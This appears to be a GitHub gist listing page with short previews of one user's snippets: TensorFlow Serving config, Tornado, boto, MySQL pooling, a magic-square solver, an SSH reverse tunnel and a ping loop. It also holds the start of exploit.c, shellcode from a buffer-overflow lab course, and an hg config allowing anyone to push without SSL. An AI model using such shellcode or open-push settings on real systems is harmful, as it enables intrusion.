Skip to content

Instantly share code, notes, and snippets.

@cutewalker
cutewalker / gen-platform-config.py
Last active January 19, 2020 18:03
gen tf serving platform config file
# -*- coding: utf-8 -*-
import tensorflow as tf
from tensorflow_serving.config import platform_config_pb2
from tensorflow_serving.servables.tensorflow import session_bundle_config_pb2
from tensorflow_serving.servables.tensorflow import saved_model_bundle_source_adapter_pb2
use std::mem;
fn main() {
let a = 3i64;
let b = [1, 2, 3, 4, 5, 6];
//let c = &b[2..5];
//let c = 3i64;
let c = "abcasdfafjekfahasid";
let d = &b;
@cutewalker
cutewalker / exploit.c
Created April 2, 2015 00:46
实验楼-缓冲区溢出漏洞实验-代码 http://www.shiyanlou.com/courses/231
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
@cutewalker
cutewalker / run_sync.py
Created March 10, 2015 02:56
run tornado coroutine sync
# -*- coding: utf-8 -*-
from tornado import gen
from tornado.ioloop import IOLoop
def run_sync(func, *sub, **kw):
result = func(*sub, **kw)
if not gen.is_future(result):
return result
#!/usr/bin/env python
"""
Recipe for creating and updating security groups programmatically.
"""
import collections
import boto
# -*- coding: utf-8 -*-
import MySQLdb
import threading
import time
import sqlalchemy.pool
MySQLdb = sqlalchemy.pool.manage(MySQLdb)
#db = MySQLdb.connect("localhost", "root", "", "miztest")
@cutewalker
cutewalker / magic_square.py
Created December 13, 2014 04:25
find all solutions of n-order magic square
# -*- coding: utf-8 -*-
"""
find all solutions of n-order magic square
"""
import itertools
class Solver(object):
def __init__(self, n, square=None, magic_sum=None):
# hg serve --webdir-conf hgweb.cfg -p port_num
[paths]
path=dirname
[web]
allow_archive = bz2 gz
push_ssl = false
allow_push = *
@cutewalker
cutewalker / ssh-to-private-ip
Created June 20, 2014 03:29
ssh-to-private-ip
http://unix.stackexchange.com/questions/87432/ssh-to-private-ip
ssh -f -N -R 12345:localhost:22 remote
@cutewalker
cutewalker / ping-ip-list.sh
Created June 18, 2014 13:53
ping ips in a list
#!/bin/bash
IP_LIST=("a" "b" "c")
for ip in ${IP_LIST[*]}; do
ping -c 6 $ip
echo " "
done